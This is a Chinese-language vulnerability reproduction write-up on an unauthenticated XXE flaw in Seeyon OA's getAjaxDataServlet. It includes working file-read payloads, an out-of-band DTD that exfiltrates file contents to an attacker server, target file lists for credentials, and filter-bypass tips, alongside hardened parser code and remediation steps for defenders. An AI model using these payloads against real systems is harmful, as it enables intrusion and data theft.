1. 项目概述:一次针对致远OA的XXE漏洞深度剖析
最近在整理内部安全审计的案例库时,一个关于致远OA的漏洞引起了我的注意,编号是QVD-2023-30027。这个漏洞的核心在于一个名为getAjaxDataServlet的接口,它存在一个典型的XML外部实体注入问题。对于从事企业应用安全或渗透测试的朋友来说,致远OA这个目标并不陌生,它作为国内广泛使用的协同办公平台,一旦出现漏洞,影响面往往非常广。这个漏洞的特别之处在于,它无需任何身份认证,攻击者可以直接通过构造特定的XML数据包,让服务器去读取本地的敏感文件,比如/etc/passwd、数据库配置文件,甚至是OA系统内部的密钥文件。这相当于给攻击者开了一扇直达系统核心的后门。
我决定花些时间,从零开始完整地复现一遍这个漏洞。目的不仅仅是验证漏洞的存在,更重要的是理解其背后的成因、挖掘过程中的思路,以及在实际的攻防对抗中,防守方应该如何去发现和修复这类问题。整个过程我会详细记录下来,包括环境搭建、漏洞原理分析、利用链构造、以及最终的修复建议。无论你是安全研究员、运维工程师,还是对Web安全感兴趣的学习者,希望这篇详尽的复盘能给你带来一些实实在在的参考价值。
2. 漏洞原理与背景深度解析
2.1 XXE漏洞的本质与致远OA的“导火索”
XML外部实体注入,简称XXE,是Web安全中一个经典但危害极大的漏洞类型。要理解它,我们可以把它想象成一个“信使投毒”的过程。服务器(OA系统)提供了一个接口(getAjaxDataServlet),这个接口的本职工作是接收客户端发来的XML格式的“信件”(数据),然后解析其中的指令去完成某项任务。问题出在,这个“信使”(XML解析器)过于“老实”,它会对“信件”里写的任何指令都无条件执行。
攻击者要做的,就是伪造一封信。在这封信里,他不仅写了正常的业务指令,还偷偷夹带了一条“私货”:一个指向服务器本地敏感文件(如c:\windows\win.ini或/etc/passwd)的“外部实体”引用。当“信使”解析到这封信时,它会忠实地执行这条“私货”指令,去读取那个本不该被外部访问的文件,并把文件内容作为“回信”的一部分,一并返回给攻击者。这就是一次成功的XXE攻击。
那么,致远OA的getAjaxDataServlet接口为何会成为这个“老实信使”呢?根据公开的分析和我的测试,根本原因在于其XML解析器的配置存在严重缺陷。通常,为了防范XXE,在解析XML时应该显式地禁用外部实体(External Entity)的加载和外部DTD(文档类型定义)的引用。但在这个接口的处理逻辑中,相关的安全开关被打开了,或者根本没有设置。这使得攻击者提交的、包含恶意外部实体声明的XML数据能够被成功解析并执行。
2.2 getAjaxDataServlet接口的功能与误用
要利用一个漏洞,首先得知道它的“入口”是干什么的。getAjaxDataServlet从名字上看,是一个用于处理Ajax数据请求的Servlet。在致远OA的上下文中,这类接口通常用于前端页面与后端服务之间的异步数据交换,比如动态加载组织架构树、查询某些列表数据等。其通信数据格式很可能就是XML。
在正常的业务流中,前端会构造一个符合预定格式的XML请求体,通过POST方式发送给/seeyon/getAjaxDataServlet这个路径。服务器端的Servlet接收到请求后,会调用底层的XML解析库(可能是Java内置的JAXP,如DocumentBuilderFactory,也可能是第三方库)来解析这个XML,提取其中的参数,然后执行相应的业务逻辑,最后将结果封装返回。
漏洞就潜伏在这个“解析”环节。由于安全配置的缺失,解析器没有对XML内容进行严格的过滤和限制。攻击者完全不必遵循正常的业务格式,他可以发送一个完全“自定义”的XML文档。在这个文档中,他声明一个外部实体,比如<!ENTITY xxe SYSTEM “file:///etc/passwd”>,然后在文档体中引用这个实体&xxe;。解析器在处理时,会尝试去加载file:///etc/passwd这个URI所指向的资源,并将文件内容替换到&xxe;的位置。如果这个内容最终被包含在服务器的响应中,那么攻击者就成功地读取到了系统文件。
注意:这里的关键在于,攻击过程完全绕过了业务逻辑校验。他不需要知道这个接口原本要查询什么业务数据,他只需要确保自己发送的是一个能被解析的XML,并且其中包含了恶意的实体声明。服务器端缺失的“输入验证”和“解析器安全配置”这两道防线,是漏洞形成的直接原因。
2.3 影响范围与严重性评估
QVD-2023-30027这个漏洞的定级通常是“高危”。我们可以从以下几个维度来评估其严重性:
- 攻击复杂度低:漏洞利用无需任何前置条件,如身份认证、特殊权限等。攻击者只需要能够通过网络访问到目标致远OA服务器的
getAjaxDataServlet接口即可。这属于“前台漏洞”,利用门槛极低。 - 危害直接:成功的利用可以直接导致敏感信息泄露。除了读取系统文件,在特定条件下(如解析器支持),XXE还可能用于发起内部网络探测(SSRF)、拒绝服务攻击(DoS)甚至远程代码执行(RCE)。信息泄露是第一步,也是关键的一步,为后续的横向移动和权限提升提供了可能。
- 影响版本广:根据漏洞情报,该漏洞影响致远OA多个历史版本。由于致远OA在政府、企事业单位中部署量巨大,且很多系统因业务连续性要求升级缓慢,导致大量潜在受影响系统暴露在公网或内网中。
- 潜在连锁反应:通过读取到的配置文件(如数据库连接字符串),攻击者可以进一步攻击数据库,获取全部业务数据。如果读取到加密密钥,可能解密OA系统中的敏感通信或存储数据。
因此,对于使用致远OA的单位,这是一个需要立即关注和处理的威胁。
3. 漏洞复现环境搭建与准备
3.1 靶场环境选择与部署
为了安全、合法地复现漏洞,我们必须在隔离的环境中进行。通常有两种选择:
- 官方漏洞靶场:一些知名的在线靶场平台可能会提供包含此漏洞的致远OA环境。这是最快捷的方式,但可能无法满足深度定制和调试的需求。
- 自行搭建虚拟机环境:这是我最推荐的方式,它能给你最大的控制权和学习空间。你需要:
- 虚拟机软件:VMware Workstation 或 VirtualBox。
- 操作系统镜像:Windows Server 2008 R2 / 2012 或 CentOS 7。致远OA通常部署在Windows服务器上。
- 致远OA安装包:你需要获取一个受该漏洞影响的特定版本安装包(例如 A8-V5)。请务必通过合法渠道获取,仅用于安全研究和个人学习,严禁用于非法测试。
我的复现环境选择了Windows Server 2012 R2虚拟机。安装过程就是标准的Windows应用安装,需要注意以下几点:
- 安装路径不要包含中文或特殊字符。
- 记住你设置的数据库密码(如果安装程序包含数据库初始化)。
- 安装完成后,确保OA服务正常启动,可以通过浏览器访问到登录页面。
实操心得:在虚拟机中,最好在安装OA前创建一个系统快照。这样,在后续复现过程中如果环境被意外修改或破坏,可以快速回滚到干净状态,节省大量重装时间。
3.2 必要的工具集
工欲善其事,必先利其器。复现XXE漏洞,你需要以下几类工具:
- HTTP代理与抓包工具:用于拦截、观察和重放浏览器与服务器之间的通信。
- Burp Suite Professional/Community:首选。它的Repeater、Intruder、Scanner功能在漏洞测试中无可替代。
- Fiddler / Charles:可作为备选,但Burp在Web安全测试领域更专业。
- 浏览器:任何现代浏览器均可,用于初步访问和触发请求。
- Payload构造与测试工具:
- Burp Suite的Repeater模块:手动构造和发送HTTP请求的核心。
- 文本编辑器(如VS Code, Sublime Text):用于编写复杂的XML Payload。
- 网络探测工具(可选):用于确认目标存活和端口开放情况。
- Nmap:
nmap -sV -O <target_ip>可以扫描目标开放的服务和操作系统信息。
- Nmap:
在开始前,请确保你的测试机(通常是你的物理机)上安装了Burp Suite,并配置好浏览器代理指向Burp(默认127.0.0.1:8080),且安装了Burp的CA证书以避免HTTPS拦截问题。
3.3 信息收集与目标确认
在直接测试漏洞之前,先进行基本的信息收集:
- 确定目标URL:访问
http://<靶机IP>:<端口>/seeyon。通常端口是80或8080。确认能打开致远OA的登录页面。 - 定位漏洞接口:根据漏洞描述,漏洞接口路径是
/seeyon/getAjaxDataServlet。我们可以先尝试直接访问这个路径,观察其响应。通常,直接GET访问可能会返回一个错误页面或空白,这没关系,它至少证明了该端点存在。 - 开启Burp拦截:打开浏览器代理,在Burp中确保
Intercept is on。在OA页面进行任意操作(比如点击登录但不输入密码),然后在Burp中查看拦截到的请求。我们的目标是找到一个原本就会向getAjaxDataServlet发送XML数据的正常请求,这可以作为我们构造攻击请求的模板。
4. 漏洞利用链的构造与实战
4.1 初探:捕获正常请求与理解数据结构
首先,我们需要找到一个触发getAjaxDataServlet的正常请求。由于该接口通常被前端Ajax调用,我们可以通过浏览器的开发者工具(F12)的“网络”(Network)标签页进行监控。
一个常见的方法是,在OA的登录页面或管理后台,寻找那些动态加载的下拉框、树形菜单等组件。这些组件的数据很可能通过Ajax从getAjaxDataServlet获取。当你触发这些组件的加载时(如点击展开),在开发者工具的网络请求列表中,筛选出包含getAjaxDataServlet的请求。
捕获到一个典型请求后,在Burp Suite的Proxy -> HTTP history中找到它,右键发送到Repeater。现在我们来分析这个请求:
- 请求方法:通常是
POST。 - Content-Type:非常重要!很可能是
application/xml或text/xml。这明确告诉服务器,请求体是XML格式。 - 请求体 (Body):这里就是核心的XML数据。一个正常的业务请求体可能长这样:
它定义了一个请求类型(<?xml version="1.0" encoding="UTF-8"?> <request> <type>getDepartmentTree</type> <parameters> <companyId>1</companyId> </parameters> </request>type)和一些参数(parameters)。
我们的攻击思路是:保持请求的“外壳”(方法、URL、Content-Type)不变,但彻底替换掉请求体的“内核”,插入我们恶意的XXE Payload。
4.2 核心:构造并注入XXE Payload
XXE Payload的构造是漏洞利用的关键。其核心结构如下:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini"> ]> <request> <type>&xxe;</type> </request>让我们拆解这个Payload:
<?xml ...?>: XML声明头,保持和原请求一致。<!DOCTYPE test [...]>: 文档类型定义(DTD)。这里定义了一个名为test的文档类型,并在其中声明了一个外部实体xxe。<!ENTITY xxe SYSTEM "...">: 这行声明了一个实体(可以理解为变量),名为xxe。SYSTEM关键字表示这是一个外部实体,其值来源于后面双引号内的URI。file://协议指示解析器从本地文件系统读取资源。
<request><type>&xxe;</type></request>: 这是XML的文档元素。我们在type元素的内容中,通过&xxe;引用了之前定义的实体。当解析器处理到这里时,它会用file:///C:/windows/win.ini文件的内容来替换&xxe;。
在Burp Repeater中的操作步骤:
- 将捕获到的正常请求发送到Repeater。
- 在Repeater的请求体(Raw)标签页,完全替换为上述恶意XML。
- 点击“Send”按钮发送请求。
4.3 实战:分步攻击与结果验证
第一次尝试,我们使用读取C:\windows\win.ini(Windows)或/etc/passwd(Linux)作为验证。这是经典的测试文件,因为它通常可读且内容固定。
情况一:成功读取如果漏洞存在且利用成功,服务器的响应中可能会直接包含目标文件的内容。查看Burp Repeater右侧的响应(Response)面板,你可能会在响应体的某个位置看到win.ini文件的内容(如[fonts],[extensions]等节)。这表明XXE漏洞被成功触发,解析器读取了文件并将其内容输出。
情况二:无回显(Blind XXE)很多时候,服务器虽然解析并执行了外部实体,但文件内容并没有直接出现在HTTP响应中。这就是“盲注”(Blind XXE)。我们需要采用其他技术来探测和提取数据。
盲注利用技巧:带外数据通道(OOB)当遇到无回显XXE时,我们可以利用参数实体和外部DTD,将数据通过HTTP或FTP等协议带外传输到我们控制的服务器上。
搭建一个接收服务器:在你的测试机(攻击机)上,使用Python快速开启一个HTTP服务监听端口。
python3 -m http.server 8888构造两段式Payload:
- 主Payload(发送给目标):
这里使用了参数实体(<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://你的攻击机IP:8888/evil.dtd"> %remote; ]> <request/>%remote;)。它会在解析时,强制让服务器的XML解析器去访问我们指定的URL (http://你的攻击机IP:8888/evil.dtd) 并加载其中的内容。 - 外部DTD文件 (
evil.dtd,放在攻击机web根目录):
这个DTD做了三件事: a. 定义参数实体<!ENTITY % file SYSTEM "file:///C:/windows/win.ini"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://你的攻击机IP:8888/?data=%file;'>"> %eval; %exfil;%file,其值为目标文件内容。 b. 定义参数实体%eval,其值是一个嵌套的实体声明,声明了另一个实体%exfil。%exfil的SYSTEM URI中,通过%file;将文件内容作为URL参数的一部分。 c. 依次引用%eval;和%exfil;。当%exfil;被引用时,会触发一个HTTP请求到我们的服务器,URL中包含了文件内容。
- 主Payload(发送给目标):
观察结果:将主Payload发送给目标。如果漏洞存在,目标服务器的解析器会加载我们的
evil.dtd并执行其中的指令。此时,你会在Python HTTP服务器的日志中,看到一个来自目标IP的访问请求,其URL的data参数里可能就包含了win.ini文件的内容(由于URL长度限制和特殊字符问题,内容可能被截断或编码,需要解码分析)。
注意事项:在实际测试中,由于Windows和Linux文件路径、Java安全策略、网络出口限制等因素,可能需要多次尝试不同的Payload和文件路径。例如,尝试
file:///c:/windows/system.ini,file:///c:/boot.ini,或者使用netdoc:///、jar:///等协议。读取目录列表可以尝试file:///c:/。
5. 漏洞深度利用与拓展思考
5.1 信息搜集:从文件读取到系统认知
成功利用XXE读取到第一个文件只是开始。接下来,我们需要进行系统的信息搜集,为可能的进一步渗透做准备。以下是一些关键的文件路径和目标:
Windows 系统:
- 用户与配置:
C:\Windows\System32\config\SAM(通常无法直接读取,但可尝试)、C:\Users\<用户名>\Desktop\、C:\boot.ini。 - OA相关配置文件(重中之重):
- 致远OA安装目录下的配置文件,路径可能如
D:\Seeyon\A8\conf\或C:\Seeyon\A8\conf\。 - 查找
datasource.properties,*.xml,*.config等文件,其中可能包含数据库连接字符串(JDBC URL)、用户名和密码。 web.xml文件可能泄露内部Servlet路径和配置。
- 致远OA安装目录下的配置文件,路径可能如
- 系统信息:
C:\Windows\System32\drivers\etc\hosts(查看内部网络映射)。
Linux 系统:
- 系统信息:
/etc/passwd,/etc/shadow(需高权限),/etc/hosts,/etc/issue。 - OA相关配置:安装目录通常在
/usr/local/seeyon/或/opt/seeyon/下,同样寻找conf/目录。 - 环境变量:尝试读取
/proc/self/environ(有时可获取进程环境变量,可能包含密码)。 - 历史命令:尝试读取
~/.bash_history。
通过有步骤地读取这些文件,攻击者可以绘制出服务器的目录结构、获取数据库凭证、了解内部网络拓扑,从而极大地扩展了攻击面。
5.2 从XXE到更严重的威胁
在某些特定条件下,XXE的危害不止于文件读取:
- 服务器端请求伪造 (SSRF):通过将
SYSTEM后的URI改为http://169.254.169.254/latest/meta-data/(AWS元数据服务)或http://192.168.1.1(内网其他设备),可以探测或攻击服务器所在内网的其他系统。如果OA服务器处于云环境,这可能直接导致云实例元数据泄露,获取临时访问密钥。 - 拒绝服务 (DoS):利用
<!ENTITY a0 “……” >和参数实体递归引用,可以构造“亿级实体膨胀”攻击,消耗服务器大量内存和CPU资源,导致服务不可用。 - 远程代码执行 (RCE):这是XXE利用的“终极形态”,但条件较为苛刻。它通常需要满足:
- 服务器端使用了某些特定的、不安全的XML解析器(如旧版本的Xerces)。
- 服务器上存在可被利用的扩展(如PHP的
expect://包装器,但Java中不常见)。 - 通过XXE实现文件写入(例如,利用Java的
jar://协议或某些解析器特性),再结合其他漏洞(如文件包含、反序列化)来实现RCE。在致远OA的这个具体漏洞中,直接实现RCE的路径并不明确,但通过文件读取获取到的敏感信息(如数据库密码、加密密钥)无疑是通往RCE的重要跳板。
5.3 绕过可能的防御措施
在实际的漏洞利用或安全评估中,你可能会遇到一些简单的防御措施,需要尝试绕过:
- 内容类型检查:服务器可能检查
Content-Type头。确保你的请求头中明确设置为Content-Type: application/xml或text/xml。有时尝试添加字符集Content-Type: text/xml; charset=UTF-8也可能有效。 - 关键字过滤:WAF或应用层可能过滤
<!DOCTYPE、<!ENTITY、SYSTEM、file://等关键字。- 编码绕过:尝试使用HTML实体编码、UTF-16编码等方式。例如,将整个XML Payload转换为UTF-16BE或UTF-16LE格式,并修改
Content-Type为text/xml; charset=UTF-16。 - 协议替换:除了
file://,尝试netdoc:///(Java特有)、http://、ftp://等。 - 引用外部DTD:如前文盲注所示,将恶意的实体声明放在外部DTD文件中,主Payload中只引用该DTD,可以绕过对内部DTD声明的过滤。
- 编码绕过:尝试使用HTML实体编码、UTF-16编码等方式。例如,将整个XML Payload转换为UTF-16BE或UTF-16LE格式,并修改
- Java安全策略限制:高版本的Java或配置了安全策略的服务器可能会限制
file://协议访问某些目录。此时需要更精细地猜测和尝试路径,或者转向利用HTTP SSRF。
6. 漏洞修复与安全加固建议
复现漏洞的最终目的,是为了更好地防御。对于企业安全运维人员和开发者,针对此类XXE漏洞,应从多个层面进行加固。
6.1 紧急临时缓解措施
如果无法立即升级或打补丁,可以考虑以下临时方案:
- WAF/网关拦截:在Web应用防火墙或网关设备上,配置规则拦截对
/seeyon/getAjaxDataServlet路径的异常访问请求,特别是包含<!DOCTYPE、<!ENTITY、SYSTEM等关键字的POST请求体。但要注意,这种方式可能存在误拦和绕过风险。 - 输入验证与过滤:在应用层,对
getAjaxDataServlet接口的输入进行严格的验证。虽然修复XML解析器是根本,但可以在请求进入核心逻辑前,对请求体进行字符串检查,拒绝包含可疑DTD声明或file://等协议的请求。注意:这种方式属于黑名单机制,并不完全可靠。 - 禁用接口访问:如果该Servlet并非业务必需,可以在网络层(防火墙、负载均衡器)或应用服务器层(如Tomcat的
web.xml配置)直接禁止对外部访问此路径。
6.2 根本解决方案:安全配置XML解析器
对于Java应用,修复XXE漏洞的核心是确保使用的XML解析器被正确配置,以禁用外部实体和外部DTD。以下是针对不同解析器的安全代码示例:
使用 DocumentBuilderFactory (JAXP):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // 关键安全配置开始 String FEATURE = null; try { // 禁用外部实体 FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true); FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); // 禁用外部DTD FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; dbf.setFeature(FEATURE, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); } catch (ParserConfigurationException e) { // 记录日志并抛出异常,不应在配置不安全的情况下继续解析 throw new RuntimeException("Parser configuration error", e); } // 关键安全配置结束 DocumentBuilder db = dbf.newDocumentBuilder(); // ... 使用db解析XML使用 SAXParserFactory:
SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser(); XMLReader reader = parser.getXMLReader(); reader.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader(""))); // 自定义实体解析器,返回空内容使用 XMLInputFactory (StAX):
XMLInputFactory xif = XMLInputFactory.newInstance(); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // 禁用DTD支持 xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); // 禁用外部实体重要提示:仅仅设置其中一个Feature可能不够,因为不同解析器实现和Java版本下,这些特性的名称和行为可能有差异。最保险的做法是同时设置上述所有已知的安全特性,并确保使用的XML解析库(如Xerces, Crimson等)是最新版本,以修复已知的安全缺陷。
6.3 长期安全开发规范
- 最小化XML解析需求:评估是否真的需要使用XML。在前后端交互中,JSON通常是更安全、更轻量的选择。
- 使用安全的替代库:考虑使用明确设计为默认安全的XML解析库,例如OWASP推荐的
OWASP Java XML Sanitizer。 - 代码审计与依赖检查:将XXE漏洞扫描纳入代码审计(SAST)和组件依赖扫描(SCA)的范畴。定期检查项目中使用的XML解析库版本,并及时更新。
- 安全培训:对开发人员进行安全意识培训,使其了解XXE的原理、危害和修复方法,避免在代码中引入不安全的解析模式。
7. 复现过程中的常见问题与排查实录
在复现QVD-2023-30027或其他XXE漏洞时,你可能会遇到各种问题。下面是我在多次测试中遇到的一些典型情况及解决方法。
7.1 请求发送后无响应或返回错误
- 现象:发送Payload后,请求长时间无响应,或返回500内部服务器错误、400错误请求等。
- 排查思路:
- 检查网络与服务:确认靶机OA服务是否正常运行,网络是否通畅。
- 检查请求格式:
- HTTP方法:确认是
POST而非GET。 - Content-Type头:必须设置为
application/xml或text/xml。 - 请求体格式:确保XML格式良好,标签闭合,无非法字符。可以使用在线的XML格式校验工具先检查一下。
- HTTP方法:确认是
- 简化Payload:先使用一个最简单的、仅包含XML声明和根元素的Payload测试接口是否存活,例如
<?xml version="1.0"?><test/>。 - 查看服务器日志:如果条件允许,查看致远OA的应用日志(如Tomcat的
catalina.out或OA自身的日志文件),里面可能会有解析错误的详细堆栈信息,能帮你定位问题。
7.2 响应中看不到文件内容
- 现象:请求返回200 OK,但响应体中没有出现预期的文件内容。
- 排查思路:
- 确认漏洞是否存在:首先尝试最经典的
file:///c:/windows/win.ini或file:///etc/passwd。如果没内容,可能是盲注。 - 尝试盲注(OOB):按照前文所述,搭建外部HTTP服务器,使用参数实体和外部DTD进行测试。观察你的HTTP服务器是否有收到来自目标IP的请求。
- 检查文件路径和权限:
- Windows:OA服务可能以
NETWORK SERVICE或特定用户身份运行,该用户可能无权访问C:\windows\win.ini(虽然通常可读)。尝试其他路径,如C:\Windows\System32\drivers\etc\hosts。 - Linux:确认OA进程用户(如
tomcat)是否有权限读取/etc/passwd。
- Windows:OA服务可能以
- 尝试读取Web目录下的文件:有时直接读系统文件受限,但读Web应用自身的文件可以。尝试读取OA的WEB-INF/web.xml:
file:///D:/Seeyon/A8/webapps/seeyon/WEB-INF/web.xml(路径需根据实际安装调整)。 - 查看响应全文:在Burp中,切换到“Response”的
Raw视图,仔细查看整个响应,包括HTTP头。有时文件内容可能被包装在JSON结构、HTML注释或特定的XML节点中,需要仔细查找。
- 确认漏洞是否存在:首先尝试最经典的
7.3 外部DTD请求未触发
- 现象:使用了OOB Payload,但自己的HTTP服务器没有收到任何请求。
- 排查思路:
- 网络连通性:确保靶机可以访问你的攻击机IP和端口。检查防火墙规则(攻击机和靶机的防火墙都需要放行相应端口)。
- 协议问题:有些环境可能限制了HTTP出站。可以尝试使用
ftp://协议,但搭建起来更复杂。也可以尝试DNS带外数据渗出,通过让服务器解析一个包含泄露数据的子域名来验证,例如在DTD中构造<!ENTITY % exfil SYSTEM "http://%file;.你的域名.com/">,然后在你的DNS日志中查看请求。 - Java安全策略:目标服务器的JVM可能设置了
java.security策略文件,严格限制了网络访问。这种情况下OOB可能失效。 - Payload格式错误:仔细检查外部DTD文件的语法,确保没有拼写错误,参数实体的声明和引用顺序正确。特别是嵌套的实体声明,格式非常严格。
7.4 修复验证:如何确认补丁已生效
在厂商发布补丁或自行修复后,如何验证漏洞是否被真正修复?
- 使用无害Payload测试:发送一个尝试引用外部实体的Payload,但指向一个不存在的或无害的内部地址,如
file:///nonexistent.txt。修复前,服务器通常会返回一个“文件未找到”相关的错误(但至少证明它在尝试解析实体)。修复后,一个正确配置的解析器应该完全忽略或拒绝这个外部实体声明,请求可能正常处理并返回业务响应,或者返回一个与XXE无关的错误(如“无效的请求类型”)。关键是要看响应中是否还有任何与文件系统操作相关的错误信息。 - 使用OOB Payload测试:再次尝试触发带外请求。如果修复生效,你的接收服务器将不会收到任何来自目标服务器的HTTP请求。
- 代码审计:最根本的方式是检查修复后的代码,确认在调用
DocumentBuilderFactory等解析器时,是否已经添加了前文所述的安全特性配置。
在整个复现和排查过程中,耐心和细致是关键。每一个错误响应都包含了线索,结合对漏洞原理的深刻理解,逐步调整你的测试方法,最终就能清晰地验证漏洞的存在与否,并深刻理解其背后的安全逻辑。